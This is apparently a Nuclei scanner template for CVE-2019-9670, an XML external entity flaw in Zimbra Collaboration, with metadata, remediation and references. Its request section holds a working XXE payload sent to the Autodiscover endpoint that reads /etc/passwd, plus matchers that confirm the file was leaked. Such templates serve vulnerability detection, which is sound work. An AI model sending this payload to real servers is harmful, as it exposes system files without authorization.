id: CVE-2019-9670

info:
  name: Synacor Zimbra Collaboration <8.7.11p10 - XML External Entity Injection
  author: ree4pwn
  severity: critical
  description: Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML external entity injection (XXE) vulnerability via the mailboxd component.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, leading to unauthorized access to sensitive information.
  remediation: |
    Upgrade to the latest version of Synacor Zimbra Collaboration (8.7.11p10 or higher) to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/46693/
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    - https://bugzilla.zimbra.com/show_bug.cgi?id=109129
    - http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce
    - http://packetstormsecurity.com/files/152487/Zimbra-Collaboration-Autodiscover-Servlet-XXE-ProxyServlet-SSRF.html
    - https://isc.sans.edu/forums/diary/CVE20199670+Zimbra+Collaboration+Suite+XXE+vulnerability/27570/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9670
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9670
    cwe-id: CWE-611
    epss-score: 0.97484
    epss-percentile: 0.99968
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: synacor
    product: zimbra_collaboration_suite
  tags: cve,cve2019,zimbra,xxe,kev,edb,packetstorm,synacor

http:
  - raw:
      - |
        POST /Autodiscover/Autodiscover.xml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <!DOCTYPE xxe [
        <!ELEMENT name ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
        <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
        </Request>
        </Autodiscover>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - "Problem accessing"
        condition: and

      - type: status
        status:
          - 503
# digest: 4a0a004730450220280dea602ba019db2902e0a9601b770753eb6c2a0beacc8cb5bb87fd94edad0d02210089e287badd1b31cee7dc07e24453632f61bf2601af2c6393161ae92d19bfe9cd:922c64590222798bb761d5b6d8e72950